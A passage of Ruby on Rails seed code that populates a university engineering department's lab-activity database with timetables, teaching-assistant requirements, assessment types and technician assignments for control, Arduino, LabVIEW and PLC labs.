$resit_med.id)\n ActivityGta.where(activity_id: a329.id).first_or_create!(criteria: \"Understanding of physical systems modeling, the analysis of 1st and 2nd order systems, and z-domain control systems\",\n job_desc:\"This laboratory involves the analysis of control system behavior in the z-domain, when changing sample time and model characteristics\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a329.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a329.id).first_or_create!(cost_per_student: nil, equip_needed: \"Loads\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n\n\n a330 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"206\").first_or_create!(name: \"Discrete Control Design\",\n name_abrv: \"Servo-D\", archived: true, in_drive: false, user_id: 3)\n at330 = ActivityTimetable.where(activity_id: a330.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a330.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a330.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involves designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a330.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a330.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a331 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"206\").first_or_create!(name: \"Discrete Domain Control Design\",\n name_abrv: \"SERVO-C\", archived: false, in_drive: false, user_id: 2)\n at331 = ActivityTimetable.where(activity_id: a331.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a331.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a331.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involved designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a331.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a331.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n\n\n a332 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"207\").first_or_create!(name: \"Filters\",\n name_abrv: \"SS-Filters\", archived: false, in_drive: false, user_id: 2)\n at332 = ActivityTimetable.where(activity_id: a332.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a332.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a332.id).first_or_create!(criteria: \"Must have a strong mathematical understanding, and be able to describe the frequency response characteristics of filters, as LTI systems.\",\n job_desc:\"During this session, the students will investigate the response of different filter types, and demonstrate how systems exhibit filtering behavior when observing the input and output signals.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a332.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a332.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a333 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR231\").first.id, code: \"208\").first_or_create!(name: \"First order and second order systems [RCL Circuit]\",\n name_abrv: \"AMR231RCL\", archived: false, in_drive: false, user_id: 1)\n at333 = ActivityTimetable.where(activity_id: a333.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 13, max_week_num: 15, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a333.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a333.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse 1st and 2nd order electrical circuits and compare the simulated responses against measured data\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a333.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a333.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a333.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a334 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"209\").first_or_create!(name: \"Frequency Domain Analysis of a Servo System\",\n name_abrv: \"FREQ SERVO\", archived: false, in_drive: false, user_id: 1)\n at334 = ActivityTimetable.where(activity_id: a334.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a334.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a334.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a334.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a334.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n\n\n a335 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS1321\").first.id, code: \"209\").first_or_create!(name: \"Frequency Domain Analysis of a Servo System\",\n name_abrv: \"FREQ SERVO\", archived: false, in_drive: false, user_id: 5)\n at335 = ActivityTimetable.where(activity_id: a335.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a335.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a335.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The Students are required to analyse the a servo system in the frequency domain, and develop a model of the system. The students will observe the effects of applying, in closed loop, P and PI compensation, in closed loop, to the system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a335.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a335.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a335.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a336 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"210\").first_or_create!(name: \"Introduction to Arduino: Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: false, in_drive: false, user_id: 5)\n at336 = ActivityTimetable.where(activity_id: a336.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a336.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a336.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"This laboratory involves interfacing digital sensors and actuators to an arduino device\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a336.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a336.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a337 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"210\").first_or_create!(name: \"Introduction to Arduino: Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: false, in_drive: false, user_id: 2)\n at337 = ActivityTimetable.where(activity_id: a337.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a337.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a337.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a337.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a337.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a338 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"211\").first_or_create!(name: \"LabVIEW: Data Acquisition\",\n name_abrv: \"LabVIEW1\", archived: false, in_drive: false, user_id: 3)\n at338 = ActivityTimetable.where(activity_id: a338.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a338.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a338.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is a basic introduction into LabVIEW programing and data acquisition. GTAs should have basic knowledge of LabVIEW programming.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a338.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a338.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a339 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"212\").first_or_create!(name: \"LabVIEW: Servo Control Application\",\n name_abrv: \"LabVIEW2\", archived: false, in_drive: false, user_id: 3)\n at339 = ActivityTimetable.where(activity_id: a339.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a339.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a339.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is a basic introduction into LabVIEW programing and data acquisition. GTAs should have basic knowledge of LabVIEW programming.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a339.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a339.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a340 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"213\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"HVAC 2\", archived: false, in_drive: false, user_id: 1)\n at340 = ActivityTimetable.where(activity_id: a340.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a340.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a340.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory involves modelling and analysis of the performance characteristics of a 2nd order Mass, Spring, Damper system, in the time domain.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a340.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a340.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a341 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS219\").first.id, code: \"213\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"CBE-HVAC\", archived: false, in_drive: false, user_id: 1)\n at341 = ActivityTimetable.where(activity_id: a341.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a341.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a341.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a341.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a341.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a341.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a342 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"214\").first_or_create!(name: \"Multi-servo & closed-loop control (active sensing)\",\n name_abrv: \"Robot - Multi Servo\", archived: false, in_drive: false, user_id: 1)\n at342 = ActivityTimetable.where(activity_id: a342.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 8, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a342.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a342.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During this session, the students will coordinate the motion of multiple servomotors with PWM signals, from an Arduino. They will also, assemble a robot hand and investigate the basics of sensor-motor coordination through a process of grasping a fragile object.\", jobshop_desc: \"\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a342.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a342.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a343 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"215\").first_or_create!(name: \"PLC1: Basics\",\n name_abrv: \"PLC 1 - Basics\", archived: false, in_drive: false, user_id: 5)\n at343 = ActivityTimetable.where(activity_id: a343.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 4, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a343.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a343.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is a basic introduction into PLC programming on an Allen Bradley PLC.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a343.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a343.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a344 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"215\").first_or_create!(name: \"PLC1: Basics\",\n name_abrv: \"PLC 1 - Basics\", archived: false, in_drive: false, user_id: 1)\n at344 = ActivityTimetable.where(activity_id: a344.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a344.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a344.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is a basic introduction into PLC programming on an Allen Bradley PLC.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a344.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a344.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a345 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"216\").first_or_create!(name: \"PLC2: Counters and Timers\",\n name_abrv: \"PLC 2 - C & T\", archived: false, in_drive: false, user_id: 1)\n at345 = ActivityTimetable.where(activity_id: a345.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a345.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a345.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is an extension of the PLC 1 laboratory, the students will be using counters and timers to perform event driven operations on a manufacturing process control system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a345.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a345.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a346 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"216\").first_or_create!(name: \"PLC2: Counters and Timers\",\n name_abrv: \"PLC 2 - C & T\", archived: false, in_drive: false, user_id: 1)\n at346 = ActivityTimetable.where(activity_id: a346.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a346.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a346.id).first_or_create!(criteria: \"GTAs should have some experience of PLC programming.\",\n job_desc:\"This is an extension of the PLC 1 laboratory, the students will be using counters and timers to perform event driven operations on a manufacturing process control system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a346.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a346.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n\n\n a347 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"217\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: false, in_drive: false, user_id: 2)\n at347 = ActivityTimetable.where(activity_id: a347.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit will need to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a347.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a347.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"The aims of this laboratory session is to drive different type of actuators using a PWM output from\n an Arduino device, use timers to sequence control functions, and use sensors to adjust the\n behaviour of a system.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a347.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a347.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n\n\n a348 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6502\").first.id, code: \"217\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: false, in_drive: false, user_id: 2)\n at348 = ActivityTimetable.where(activity_id: a348.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a348.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a348.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: 